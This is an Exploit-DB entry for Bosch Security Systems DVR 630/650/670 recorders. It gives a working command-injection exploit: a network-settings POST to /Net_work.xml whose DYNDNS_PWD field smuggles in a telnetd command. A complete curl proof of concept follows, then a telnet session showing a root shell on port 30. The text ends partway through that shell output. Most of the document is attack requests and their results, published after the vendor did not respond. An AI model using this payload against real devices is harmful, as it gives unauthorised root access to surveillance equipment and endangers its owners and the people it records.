Exploit-DB #34956
Description: Bosch Security Systems DVR 630/650/670 Series - Multiple Vulnerabilities
Type: webapps
Platform: hardware
Date: 2014-10-14
Author: dun

Exploit:
 :::::::-.   ...    ::::::.    :::.
  ;;,   `';, ;;     ;;;`;;;;,  `;;;
  `[[     [[[['     [[[  [[[[[. '[[
   $$,    $$$$      $$$  $$$ "Y$c$$
   888_,o8P'88    .d888  888    Y88
   MMMMP"`   "YmmMMMM""  MMM     YM
 
  [ Discovered by dun \ posdub[at]gmail.com ]
  [ 2014-10-01                              ]
###############################################################################
# [ Bosch Security Systems DVR 630/650/670 Series ] Multiple Vulnerabilities  #
###############################################################################
#
# Device: "The Bosch Video Recorder 630/650 Series is an 8/16
#          channel digital recorder that uses the latest H.264
#          compression technology. With the supplied PC
#          software and built-in web server, the 630/650 Series is
#          a fully integrated, stand-alone video management
#          solution that's ready to go, straight out of the box.
#          Available with a variety of storage capacities, the
#          630/650 Series features a highly reliable embedded
#          design that minimizes maintenance and reduces
#          operational costs. The recorder is also available with a
#          built-in DVD writer."
#
# Vendor:    http://www.boschsecurity.com/
# Product:   DVR 630/650  http://resource.boschsecurity.us/documents/Data_sheet_enUS_[PII_REDACTED].pdf
#            DVR 670      http://resource.boschsecurity.us/documents/DVR_670_Series_Data_sheet_enUS_[PII_REDACTED].pdf
#
# Software Download:
# http://resource.boschsecurity.us/software/Software_DVR630_650_firmware_v212_all_[PII_REDACTED].zip
# http://resource.boschsecurity.us/software/Software_DVR670_firmware_v212_enUS_[PII_REDACTED].zip
# 
# Timeline: 2014-10-01 Vulnerability discovered
#           2014-10-03 1 Contact with vendor - No response
#           2014-10-14 Published
#
#
###################################################################
# Gaining Root Shell Access [1]:

POST /Net_work.xml HTTP/1.1
Accept: */*
Accept-Language: pl
Referer: http://10.11.219.2/network.html
Content-Type: text/xml; charset=UTF-8
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Host: 10.11.219.2
Content-Length: 1274
DNT: 1
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: MosaLanguage=0; session=

<NETWORK_SETTING>
  <DHCP>0</DHCP>
  <DHCPIP>10.11.219.2</DHCPIP>
  <DHCPMASK>255.255.255.0</DHCPMASK>
  <DHCPGW>10.11.219.1</DHCPGW>
  <DHCPDNS1>0.0.0.0</DHCPDNS1>
  <DHCPDNS2>0.0.0.0</DHCPDNS2>
  <IP>10.11.219.2</IP>
  <MASK>255.255.255.0</MASK>
  <GW>10.11.219.1</GW>
  <DNS1>0.0.0.0</DNS1>
  <DNS2>0.0.0.0</DNS2>
  <HTTP_PORT>80</HTTP_PORT>
  <BANDWIDTH>0</BANDWIDTH>
  <DDNS_SERVER>1</DDNS_SERVER>
  <DYNDNS_HOST>wxss</DYNDNS_HOST>
  <DYNDNS_USER>ffl</DYNDNS_USER>
  <DYNDNS_PWD>|telnetd -l${SHELL} -p30 #</DYNDNS_PWD>
  <TZO_HOST></TZO_HOST>
  <TZO_MAIL></TZO_MAIL>
  <TZO_KEY></TZO_KEY>
  <SITE_HOST>sdads</SITE_HOST>
  <SITE_PWD>dsadsd</SITE_PWD>
  <SITE_RECORDID>sdasdas</SITE_RECORDID>
  <SITE_FQDN>dasdas</SITE_FQDN>
  <ALARM_ON>0</ALARM_ON>
  <MOTION>0</MOTION>
  <DISK_FAIL>0</DISK_FAIL>
  <DISK_FULL>0</DISK_FULL>
  <FAN_FAIL>0</FAN_FAIL>
  <DISK_TEMP>0</DISK_TEMP>
  <ADMIN_PW>0</ADMIN_PW>
  <VIDEO_LOSS>0</VIDEO_LOSS>
  <POWER>0</POWER>
  <SENDER>0</SENDER>
  <SMTP></SMTP>
  <SMTP_PORT>25</SMTP_PORT>
  <SSL>0</SSL>
  <USERNAME></USERNAME>
  <PWD></PWD>
  <SENDER_MAIL></SENDER_MAIL>
  <SUBJECT></SUBJECT>
  <MAIL_1></MAIL_1>
  <MAIL_2></MAIL_2>
  <MAIL_3></MAIL_3>
  <MAIL_TEST>0</MAIL_TEST>
</NETWORK_SETTING>

## PoC:

root@debian:~# curl -i -s -k  -X 'POST'     -H 'Referer: http://10.11.219.2/network.html' -H 'Content-Type: text/xml; charset=UTF-8'  \
  -H 'User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)' -H 'DNT: 1'     \
  -b 'MosaLanguage=0; session='     --data-binary $'<NETWORK_SETTING>\x0d\x0a  <DHCP>0</DHCP>\x0d\x0a  <DHCPIP>10.11.219.2</DHCPIP>\x0d\x0a  \
  <DHCPMASK>255.255.255.0</DHCPMASK>\x0d\x0a  <DHCPGW>10.11.219.1</DHCPGW>\x0d\x0a  <DHCPDNS1>0.0.0.0</DHCPDNS1>\x0d\x0a  \
  <DHCPDNS2>0.0.0.0</DHCPDNS2>\x0d\x0a  <IP>10.11.219.2</IP>\x0d\x0a  <MASK>255.255.255.0</MASK>\x0d\x0a  <GW>10.11.219.1</GW>\x0d\x0a  \
  <DNS1>0.0.0.0</DNS1>\x0d\x0a  <DNS2>0.0.0.0</DNS2>\x0d\x0a  <HTTP_PORT>80</HTTP_PORT>\x0d\x0a  <BANDWIDTH>0</BANDWIDTH>\x0d\x0a  \
  <DDNS_SERVER>1</DDNS_SERVER>\x0d\x0a  <DYNDNS_HOST>wxss</DYNDNS_HOST>\x0d\x0a  <DYNDNS_USER>ffl</DYNDNS_USER>\x0d\x0a  \
  <DYNDNS_PWD>|telnetd -l${SHELL} -p30 #</DYNDNS_PWD>\x0d\x0a  <TZO_HOST></TZO_HOST>\x0d\x0a  <TZO_MAIL></TZO_MAIL>\x0d\x0a  \
  <TZO_KEY></TZO_KEY>\x0d\x0a  <SITE_HOST>sdads</SITE_HOST>\x0d\x0a  <SITE_PWD>dsadsd</SITE_PWD>\x0d\x0a  \
  <SITE_RECORDID>sdasdas</SITE_RECORDID>\x0d\x0a  <SITE_FQDN>dasdas</SITE_FQDN>\x0d\x0a  <ALARM_ON>0</ALARM_ON>\x0d\x0a  \
  <MOTION>0</MOTION>\x0d\x0a  <DISK_FAIL>0</DISK_FAIL>\x0d\x0a  <DISK_FULL>0</DISK_FULL>\x0d\x0a  <FAN_FAIL>0</FAN_FAIL>\x0d\x0a  \
  <DISK_TEMP>0</DISK_TEMP>\x0d\x0a  <ADMIN_PW>0</ADMIN_PW>\x0d\x0a  <VIDEO_LOSS>0</VIDEO_LOSS>\x0d\x0a  <POWER>0</POWER>\x0d\x0a  \
  <SENDER>0</SENDER>\x0d\x0a  <SMTP></SMTP>\x0d\x0a  <SMTP_PORT>25</SMTP_PORT>\x0d\x0a  <SSL>0</SSL>\x0d\x0a  <USERNAME></USERNAME>\x0d\x0a  \
  <PWD></PWD>\x0d\x0a  <SENDER_MAIL></SENDER_MAIL>\x0d\x0a  <SUBJECT></SUBJECT>\x0d\x0a  <MAIL_1></MAIL_1>\x0d\x0a  <MAIL_2></MAIL_2>\x0d\x0a  \
  <MAIL_3></MAIL_3>\x0d\x0a  <MAIL_TEST>0</MAIL_TEST>\x0d\x0a</NETWORK_SETTING>\x0d\x0a'     'http://10.11.219.2/Net_work.xml'

root@debian:~# telnet 10.11.219.2 30
Trying 10.11.219.2...
Connected to 10.11.219.2.
Escape character is '^]'.

BusyBox v1.1.2 (2009.12.29-03:59+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.

/ # id
uid=0(root) gid=0(root)
/ # uname -a
Linux everfocus 2.6.24-rt1-hi3520v100 #9 Thu Sep 2 14:00:47 CST 2010 armv6l unknown
/ # ps |grep telnet
 2827